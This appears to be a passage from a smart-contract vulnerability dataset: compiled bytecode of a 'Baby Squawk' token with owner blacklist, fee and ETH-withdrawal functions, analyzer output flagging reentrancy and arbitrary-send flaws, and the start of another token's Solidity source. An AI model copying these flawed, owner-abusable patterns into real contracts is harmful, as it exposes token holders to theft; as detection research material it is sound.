032760048036038101906103229190613193565b610a21565b604051610334919061314e565b60405180910390f35b34801561034957600080fd5b50610352610afa565b60405161035f9190613202565b60405180910390f35b34801561037457600080fd5b5061037d610b03565b60405161038a919061314e565b60405180910390f35b34801561039f57600080fd5b506103ba60048036038101906103b5919061301c565b610b1a565b005b3480156103c857600080fd5b506103e360048036038101906103de919061321d565b610bb9565b005b3480156103f157600080fd5b5061040c6004803603810190610407919061301c565b610ca9565b005b34801561041a57600080fd5b506104356004803603810190610430919061330d565b610d56565b005b34801561044357600080fd5b5061045e6004803603810190610459919061321d565b610f3e565b005b34801561046c57600080fd5b5061047561102e565b005b34801561048357600080fd5b5061049e6004803603810190610499919061321d565b61103f565b6040516104ab9190613178565b60405180910390f35b3480156104c057600080fd5b506104c9611088565b005b3480156104d757600080fd5b506104f260048036038101906104ed919061301c565b6111db565b005b34801561050057600080fd5b5061050961127a565b005b34801561051757600080fd5b506105206113e8565b60405161052d9190613178565b60405180910390f35b34801561054257600080fd5b5061054b6113f2565b6040516105589190613394565b60405180910390f35b34801561056d57600080fd5b5061057661141b565b60405161058391906130d1565b60405180910390f35b34801561059857600080fd5b506105a1611458565b005b3480156105af57600080fd5b506105ca60048036038101906105c591906130f3565b61182f565b6040516105d7919061314e565b60405180910390f35b3480156105ec57600080fd5b506106076004803603810190610602919061301c565b61184d565b005b34801561061557600080fd5b50610630600480360381019061062b919061321d565b6118fa565b60405161063d919061314e565b60405180910390f35b34801561065257600080fd5b5061065b61191a565b604051610668919061314e565b60405180910390f35b34801561067d57600080fd5b50610698600480360381019061069391906133af565b611931565b6040516106a59190613178565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d0919061301c565b6119b8565b005b3480156106e357600080fd5b506106fe60048036038101906106f9919061321d565b611a57565b005b34801561070c57600080fd5b506107276004803603810190610722919061341b565b611b47565b005b34801561073557600080fd5b5061073e611bf9565b60405161074b9190613178565b60405180910390f35b61075c611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e090613494565b60405180910390fd5b60005b815181101561087a5760016005600084848151811061080e5761080d6134b4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061087290613512565b9150506107ec565b5050565b610886611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610913576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090a90613494565b60405180910390fd5b8060088190555050565b60606040518060400160405280600b81526020017f426162792053717561776b000000000000000000000000000000000000000000815250905090565b600061096e610967611cc7565b8484611ccf565b6001905092915050565b6000600654905090565b61098a611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0e90613494565b60405180910390fd5b80600a8190555050565b6000610a2e848484611e98565b610aef84610a3a611cc7565b610aea85604051806060016040528060288152602001613fc660289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610aa0611cc7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ec9092919063ffffffff16565b611ccf565b600190509392505050565b60006008905090565b6000601260169054906101000a900460ff16905090565b610b22611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba690613494565b60405180910390fd5b8060098190555050565b610bc1611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4590613494565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cb1611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3590613494565b60405180910390fd5b6010548111610d4c57600080fd5b8060108190555050565b610d5e611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de290613494565b60405180910390fd5b60005b8251811015610f39576305f5e100828281518110610e0f57610e0e6134b4565b5b6020026020010151610e21919061355a565b60026000858481518110610e3857610e376134b4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110610e9157610e906134b4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6305f5e100858581518110610eff57610efe6134b4565b5b6020026020010151610f11919061355a565b604051610f1e9190613178565b60405180910390a38080610f3190613512565b915050610dee565b505050565b610f46611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fca90613494565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600047905061103c81612550565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611090611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461111d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111490613494565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6111e3611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611270576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126790613494565b60405180910390fd5b80600b8190555050565b611282611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461130f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130690613494565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113583061103f565b6000806113636113f2565b426040518863ffffffff1660e01b8152600401611385969594939291906135f9565b60606040518083038185885af11580156113a3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113c8919061366f565b5050506001601260166101000a81548160ff021916908315150217905550565b6000600f54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4241425953515541574b00000000000000000000000000000000000000000000815250905090565b611460611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e490613494565b60405180910390fd5b601260149054906101000a900460ff161561153d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115349061370e565b60405180910390fd5b61156c30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611ccf565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115fd9190613743565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611686573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116aa9190613743565b6040518363ffffffff1660e01b81526004016116c7929190613770565b6020604051808303816000875af11580156116e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170a9190613743565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016117e9929190613799565b6020604051808303816000875af1158015611808573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061182c91906137d7565b50565b600061184361183c611cc7565b8484611e98565b6001905092915050565b611855611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d990613494565b60405180910390fd5b600f5481116118f057600080fd5b80600f8190555050565b60056020528060005260406000206000915054906101000a900460ff1681565b6000601260159054906101000a900460ff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6119c0611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4490613494565b60405180910390fd5b8060078190555050565b611a5f611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae390613494565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b4f611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd390613494565b60405180910390fd5b80601260146101000a81548160ff02191690831515021790555050565b6000601054905090565b6000808303611c155760009050611c77565b60008284611c23919061355a565b9050828482611c329190613833565b14611c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c69906138d6565b60405180910390fd5b809150505b92915050565b6000611cbf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125bc565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3590613968565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da4906139fa565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e8b9190613178565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe90613a8c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6d90613b1e565b60405180910390fd5b60008111611fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb090613bb0565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561205d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61209c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209390613c1c565b60405180910390fd5b6120a46113f2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561211257506120e26113f2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561242c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c25750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122185750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561230a57600f54811115612262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225990613c88565b60405180910390fd5b601260149054906101000a900460ff166122b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a890613cf4565b60405180910390fd5b601054816122be8461103f565b6122c89190613d14565b1115612309576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230090613db6565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123725761236761261f565b600881905550612381565b61237a612636565b6008819055505b600061238c3061103f565b9050601260159054906101000a900460ff161580156123f95750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156124115750601260169054906101000a900460ff165b1561242a576007548110612429576124288161264d565b5b5b505b6124e7838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124d35750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6124df576008546124e2565b60005b61277a565b505050565b6000838311158290612534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252b91906130d1565b60405180910390fd5b50600083856125439190613dd6565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125b8573d6000803e3d6000fd5b5050565b60008083118290612603576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125fa91906130d1565b60405180910390fd5b50600083856126129190613833565b9050809150509392505050565b6000600954600b546126319190613d14565b905090565b6000600a54600b546126489190613d14565b905090565b6001601260156101000a81548160ff02191690831515021790555060006126926064612684600c5485611c0390919063ffffffff16565b611c7d90919063ffffffff16565b905060006126a982846129e790919063ffffffff16565b905060006126c1600284611c7d90919063ffffffff16565b905060006126d882856129e790919063ffffffff16565b905060004790506126e883612a31565b60006126fd82476129e790919063ffffffff16565b90506127098184612c74565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56184828560405161273c93929190613e0a565b60405180910390a161274d85612a31565b61275685612550565b5050505050506000601260156101000a81548160ff02191690831515021790555050565b60006127a260646127948486611c0390919063ffffffff16565b611c7d90919063ffffffff16565b905060006127b982856129e790919063ffffffff16565b905061280d84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e790919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128a281600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293782600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129d79190613178565b60405180910390a3505050505050565b6000612a2983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124ec565b905092915050565b6000600267ffffffffffffffff811115612a4e57612a4d612dfc565b5b604051908082528060200260200182016040528015612a7c5781602001602082028036833780820191505090505b5090503081600081518110612a9457612a936134b4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612b3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b5f9190613743565b81600181518110612b7357612b726134b4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612bda30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ccf565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612c3e959493929190613eff565b600060405180830381600087803b158015612c5857600080fd5b505af1158015612c6c573d6000803e3d6000fd5b505050505050565b612ca130601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611ccf565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719833084600080612ced6113f2565b426040518863ffffffff1660e01b8152600401612d0f969594939291906135f9565b60606040518083038185885af1158015612d2d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d52919061366f565b5050506001601260166101000a81548160ff0219169083151502179055505050565b6000808284612d839190613d14565b905083811015612dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dbf90613fa5565b60405180910390fd5b8091505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612e3482612deb565b810181811067ffffffffffffffff82111715612e5357612e52612dfc565b5b80604052505050565b6000612e66612dd2565b9050612e728282612e2b565b919050565b600067ffffffffffffffff821115612e9257612e91612dfc565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ed382612ea8565b9050919050565b612ee381612ec8565b8114612eee57600080fd5b50565b600081359050612f0081612eda565b92915050565b6000612f19612f1484612e77565b612e5c565b90508083825260208201905060208402830185811115612f3c57612f3b612ea3565b5b835b81811015612f655780612f518882612ef1565b845260208401935050602081019050612f3e565b5050509392505050565b600082601f830112612f8457612f83612de6565b5b8135612f94848260208601612f06565b91505092915050565b600060208284031215612fb357612fb2612ddc565b5b600082013567ffffffffffffffff811115612fd157612fd0612de1565b5b612fdd84828501612f6f565b91505092915050565b6000819050919050565b612ff981612fe6565b811461300457600080fd5b50565b60008135905061301681612ff0565b92915050565b60006020828403121561303257613031612ddc565b5b600061304084828501613007565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613083578082015181840152602081019050613068565b83811115613092576000848401525b50505050565b60006130a382613049565b6130ad8185613054565b93506130bd818560208601613065565b6130c681612deb565b840191505092915050565b600060208201905081810360008301526130eb8184613098565b905092915050565b6000806040838503121561310a57613109612ddc565b5b600061311885828601612ef1565b925050602061312985828601613007565b9150509250929050565b60008115159050919050565b61314881613133565b82525050565b6000602082019050613163600083018461313f565b92915050565b61317281612fe6565b82525050565b600060208201905061318d6000830184613169565b92915050565b6000806000606084860312156131ac576131ab612ddc565b5b60006131ba86828701612ef1565b93505060206131cb86828701612ef1565b92505060406131dc86828701613007565b9150509250925092565b600060ff82169050919050565b6131fc816131e6565b82525050565b600060208201905061321760008301846131f3565b92915050565b60006020828403121561323357613232612ddc565b5b600061324184828501612ef1565b91505092915050565b600067ffffffffffffffff82111561326557613264612dfc565b5b602082029050602081019050919050565b60006132896132848461324a565b612e5c565b905080838252602082019050602084028301858111156132ac576132ab612ea3565b5b835b818110156132d557806132c18882613007565b8452602084019350506020810190506132ae565b5050509392505050565b600082601f8301126132f4576132f3612de6565b5b8135613304848260208601613276565b91505092915050565b6000806040838503121561332457613323612ddc565b5b600083013567ffffffffffffffff81111561334257613341612de1565b5b61334e85828601612f6f565b925050602083013567ffffffffffffffff81111561336f5761336e612de1565b5b61337b858286016132df565b9150509250929050565b61338e81612ec8565b82525050565b60006020820190506133a96000830184613385565b92915050565b600080604083850312156133c6576133c5612ddc565b5b60006133d485828601612ef1565b92505060206133e585828601612ef1565b9150509250929050565b6133f881613133565b811461340357600080fd5b50565b600081359050613415816133ef565b92915050565b60006020828403121561343157613430612ddc565b5b600061343f84828501613406565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061347e602083613054565b915061348982613448565b602082019050919050565b600060208201905081810360008301526134ad81613471565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061351d82612fe6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361354f5761354e6134e3565b5b600182019050919050565b600061356582612fe6565b915061357083612fe6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135a9576135a86134e3565b5b828202905092915050565b6000819050919050565b6000819050919050565b60006135e36135de6135d9846135b4565b6135be565b612fe6565b9050919050565b6135f3816135c8565b82525050565b600060c08201905061360e6000830189613385565b61361b6020830188613169565b61362860408301876135ea565b61363560608301866135ea565b6136426080830185613385565b61364f60a0830184613169565b979650505050505050565b60008151905061366981612ff0565b92915050565b60008060006060848603121561368857613687612ddc565b5b60006136968682870161365a565b93505060206136a78682870161365a565b92505060406136b88682870161365a565b9150509250925092565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006136f8601783613054565b9150613703826136c2565b602082019050919050565b60006020820190508181036000830152613727816136eb565b9050919050565b60008151905061373d81612eda565b92915050565b60006020828403121561375957613758612ddc565b5b60006137678482850161372e565b91505092915050565b60006040820190506137856000830185613385565b6137926020830184613385565b9392505050565b60006040820190506137ae6000830185613385565b6137bb6020830184613169565b9392505050565b6000815190506137d1816133ef565b92915050565b6000602082840312156137ed576137ec612ddc565b5b60006137fb848285016137c2565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061383e82612fe6565b915061384983612fe6565b92508261385957613858613804565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138c0602183613054565b91506138cb82613864565b604082019050919050565b600060208201905081810360008301526138ef816138b3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613952602483613054565b915061395d826138f6565b604082019050919050565b6000602082019050818103600083015261398181613945565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006139e4602283613054565b91506139ef82613988565b604082019050919050565b60006020820190508181036000830152613a13816139d7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613a76602583613054565b9150613a8182613a1a565b604082019050919050565b60006020820190508181036000830152613aa581613a69565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b08602383613054565b9150613b1382613aac565b604082019050919050565b60006020820190508181036000830152613b3781613afb565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613b9a602983613054565b9150613ba582613b3e565b604082019050919050565b60006020820190508181036000830152613bc981613b8d565b9050919050565b7f54686973206163636f756e7420697320626c61636b6c69737465640000000000600082015250565b6000613c06601b83613054565b9150613c1182613bd0565b602082019050919050565b60006020820190508181036000830152613c3581613bf9565b9050919050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b6000613c72601a83613054565b9150613c7d82613c3c565b602082019050919050565b60006020820190508181036000830152613ca181613c65565b9050919050565b7f54726164696e67206e6f74207374617274656400000000000000000000000000600082015250565b6000613cde601383613054565b9150613ce982613ca8565b602082019050919050565b60006020820190508181036000830152613d0d81613cd1565b9050919050565b6000613d1f82612fe6565b9150613d2a83612fe6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613d5f57613d5e6134e3565b5b828201905092915050565b7f42616c616e63652065786365656465642077616c6c65742073697a6500000000600082015250565b6000613da0601c83613054565b9150613dab82613d6a565b602082019050919050565b60006020820190508181036000830152613dcf81613d93565b9050919050565b6000613de182612fe6565b9150613dec83612fe6565b925082821015613dff57613dfe6134e3565b5b828203905092915050565b6000606082019050613e1f6000830186613169565b613e2c6020830185613169565b613e396040830184613169565b949350505050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e7681612ec8565b82525050565b6000613e888383613e6d565b60208301905092915050565b6000602082019050919050565b6000613eac82613e41565b613eb68185613e4c565b9350613ec183613e5d565b8060005b83811015613ef2578151613ed98882613e7c565b9750613ee483613e94565b925050600181019050613ec5565b5085935050505092915050565b600060a082019050613f146000830188613169565b613f2160208301876135ea565b8181036040830152613f338186613ea1565b9050613f426060830185613385565b613f4f6080830184613169565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613f8f601b83613054565b9150613f9a82613f59565b602082019050919050565b60006020820190508181036000830152613fbe81613f82565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220333f915caff203f651fdf91647226d21ba96754c08fe8f87ad4394ace020073c64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,993 |
0x281ba417b92d4b27b6d282a4992b578cf670c764
|
/**
*Submitted for verification at Etherscan.io on 2021-06-29
*/
/*
Gotta Go FAST Sonic Hedgehog Inu
https://t.me/sonichedgehoginu
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
